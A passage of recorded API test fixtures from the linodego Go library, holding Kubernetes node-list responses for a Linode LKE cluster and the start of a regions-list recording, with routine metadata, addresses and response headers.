1-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}}]},"spec":{"podCIDR":"10.2.2.0/24","podCIDRs":["10.2.2.0/24"],"providerID":"linode://39523014","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028104Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925704Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"[container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized, CSINode is not yet initialized]"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837f0bf12"},{"type":"ExternalIP","address":"172.105.62.55"},{"type":"InternalIP","address":"192.168.141.133"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"54669e805a6949a28451b3cbf64d033f","systemUUID":"54669e805a6949a28451b3cbf64d033f","bootID":"990f4bfa-ddc7-4a61-9b1d-b238a56a6a17","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}}]} headers: Audit-Id: - d4320a17-b045-4c19-8e9b-4c2706a7aad1 Cache-Control: - no-cache, private Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 89083a2b-4ffe-48eb-ba1a-e2ca012cadd7 X-Kubernetes-Pf-Prioritylevel-Uid: - 3833eb11-2ae9-4b3a-991a-57858f5ff927 status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json, */* url: https://146d0e27-cc3f-4c09-a50c-a1b138fa043b.ap-west-2.linodelke.net:443/api/v1/nodes method: GET response: body: | {"kind":"NodeList","apiVersion":"v1","metadata":{"resourceVersion":"846"},"items":[{"metadata":{"name":"lke76162-118349-634837ef23d0","uid":"20218a65-f9a4-44bc-bc05-0aae618c89cd","resourceVersion":"798","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837ef23d0","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.1.1","lke.linode.com/wgpub":"wjTMSXXXIVbzlfmnMdhF1lbgaHZ8eiYpcxICdT3pdBk=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.1.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:message":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.1.0/24","podCIDRs":["10.2.1.0/24"],"providerID":"linode://39523012","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028104Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925704Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837ef23d0"},{"type":"ExternalIP","address":"172.105.62.26"},{"type":"InternalIP","address":"192.168.142.88"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"b4affd53550b4f58b071cfdcc43e6a93","systemUUID":"b4affd53550b4f58b071cfdcc43e6a93","bootID":"f8b50fb1-3649-4dbc-8424-70e68d756f29","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}},{"metadata":{"name":"lke76162-118349-634837eff28c","uid":"887829d5-ff94-4545-b16e-4860be6648b3","resourceVersion":"845","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837eff28c","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.0.1","lke.linode.com/wgpub":"Lc1h/w/fV6FbHBVHmEHM9EZyK+F0ojXS27IbdYvRMic=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.0.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:allocatable":{"f:ephemeral-storage":{}},"f:capacity":{"f:ephemeral-storage":{}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:lastTransitionTime":{},"f:message":{},"f:reason":{},"f:status":{}}},"f:images":{}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.0.0/24","podCIDRs":["10.2.0.0/24"],"providerID":"linode://39523013","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028096Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925696Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"True","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletReady","message":"kubelet is posting ready status. AppArmor enabled"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837eff28c"},{"type":"ExternalIP","address":"172.105.62.27"},{"type":"InternalIP","address":"192.168.141.86"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"53a924549f02403785267878854d7b25","systemUUID":"53a924549f02403785267878854d7b25","bootID":"0fb3be06-012f-4937-bb32-588a29856d58","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"},"images":[{"names":["bitnami/kubectl@sha256:c4a8d9c0cd9c5f903830ea64816c83adf307ff1d775bc3e5b77f1d49d3960205","bitnami/kubectl:1.16.3-debian-10-r36"],"sizeBytes":182705735},{"names":["linode/kube-proxy-amd64@sha256:956fae45da675f68310f51b43654eee078a861d3d2ff2544a3e218ac4aaed8e9","linode/kube-proxy-amd64:v1.23.10"],"sizeBytes":112319634},{"names":["linode/pause@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108","linode/pause:3.2"],"sizeBytes":682696}]}},{"metadata":{"name":"lke76162-118349-634837f0bf12","uid":"e7294b6e-3907-4d37-b24e-883770914ab0","resourceVersion":"837","creationTimestamp":"2018-01-02T03:04:05Z","labels":{"beta.kubernetes.io/arch":"amd64","beta.kubernetes.io/instance-type":"g6-standard-2","beta.kubernetes.io/os":"linux","failure-domain.beta.kubernetes.io/region":"ap-west","kubernetes.io/arch":"amd64","kubernetes.io/hostname":"lke76162-118349-634837f0bf12","kubernetes.io/os":"linux","lke.linode.com/pool-id":"118349","node.kubernetes.io/instance-type":"g6-standard-2","topology.kubernetes.io/region":"ap-west"},"annotations":{"kubeadm.alpha.kubernetes.io/cri-socket":"/var/run/dockershim.sock","lke.linode.com/wgip":"172.31.2.1","lke.linode.com/wgpub":"1/okeF6mP/ZRYdFD28nLjRlyWbKMJ1aiAnaWq1g4MQU=","node.alpha.kubernetes.io/ttl":"0","volumes.kubernetes.io/controller-managed-attach-detach":"true"},"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:node.alpha.kubernetes.io/ttl":{}}},"f:spec":{"f:podCIDR":{},"f:podCIDRs":{".":{},"v:\"10.2.2.0/24\"":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:volumes.kubernetes.io/controller-managed-attach-detach":{}},"f:labels":{".":{},"f:beta.kubernetes.io/arch":{},"f:beta.kubernetes.io/os":{},"f:kubernetes.io/arch":{},"f:kubernetes.io/hostname":{},"f:kubernetes.io/os":{}}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:beta.kubernetes.io/instance-type":{},"f:failure-domain.beta.kubernetes.io/region":{},"f:node.kubernetes.io/instance-type":{},"f:topology.kubernetes.io/region":{}}},"f:spec":{"f:providerID":{},"f:taints":{}}}},{"manager":"linode-cloud-controller-manager-linux-amd64","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:addresses":{"k:{\"type\":\"ExternalIP\"}":{".":{},"f:address":{},"f:type":{}},"k:{\"type\":\"InternalIP\"}":{"f:address":{}}}}},"subresource":"status"},{"manager":"kubeadm","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:kubeadm.alpha.kubernetes.io/cri-socket":{}}}}},{"manager":"kubectl-annotate","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{"f:lke.linode.com/wgip":{},"f:lke.linode.com/wgpub":{}}}}},{"manager":"kubectl-label","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:labels":{"f:lke.linode.com/pool-id":{}}}}},{"manager":"kubelet","operation":"Update","apiVersion":"v1","time":"2018-01-02T03:04:05Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{"k:{\"type\":\"DiskPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"MemoryPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"PIDPressure\"}":{"f:lastHeartbeatTime":{}},"k:{\"type\":\"Ready\"}":{"f:lastHeartbeatTime":{},"f:message":{}}}}},"subresource":"status"}]},"spec":{"podCIDR":"10.2.2.0/24","podCIDRs":["10.2.2.0/24"],"providerID":"linode://39523014","taints":[{"key":"node.kubernetes.io/not-ready","effect":"NoSchedule"}]},"status":{"capacity":{"cpu":"2","ephemeral-storage":"82517840Ki","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"4028104Ki","pods":"110"},"allocatable":{"cpu":"2","ephemeral-storage":"76048441219","hugepages-1Gi":"0","hugepages-2Mi":"0","memory":"3925704Ki","pods":"110"},"conditions":[{"type":"MemoryPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientMemory","message":"kubelet has sufficient memory available"},{"type":"DiskPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasNoDiskPressure","message":"kubelet has no disk pressure"},{"type":"PIDPressure","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletHasSufficientPID","message":"kubelet has sufficient PID available"},{"type":"Ready","status":"False","lastHeartbeatTime":"2018-01-02T03:04:05Z","lastTransitionTime":"2018-01-02T03:04:05Z","reason":"KubeletNotReady","message":"container runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: network plugin is not ready: cni config uninitialized"}],"addresses":[{"type":"Hostname","address":"lke76162-118349-634837f0bf12"},{"type":"ExternalIP","address":"172.105.62.55"},{"type":"InternalIP","address":"192.168.141.133"}],"daemonEndpoints":{"kubeletEndpoint":{"Port":10250}},"nodeInfo":{"machineID":"54669e805a6949a28451b3cbf64d033f","systemUUID":"54669e805a6949a28451b3cbf64d033f","bootID":"990f4bfa-ddc7-4a61-9b1d-b238a56a6a17","kernelVersion":"5.10.0-14-cloud-amd64","osImage":"Debian GNU/Linux 11 (bullseye)","containerRuntimeVersion":"docker://20.10.15","kubeletVersion":"v1.23.6","kubeProxyVersion":"v1.23.6","operatingSystem":"linux","architecture":"amd64"}}}]} headers: Audit-Id: - 427f611f-4216-4a80-b6d9-53d892a8d6df Cache-Control: - no-cache, private Content-Type: - application/json X-Kubernetes-Pf-Flowschema-Uid: - 89083a2b-4ffe-48eb-ba1a-e2ca012cadd7 X-Kubernetes-Pf-Prioritylevel-Uid: - 3833eb11-2ae9-4b3a-991a-57858f5ff927 status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKEClusters_List.yaml000066400000000000000000000274761455402072200314520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: 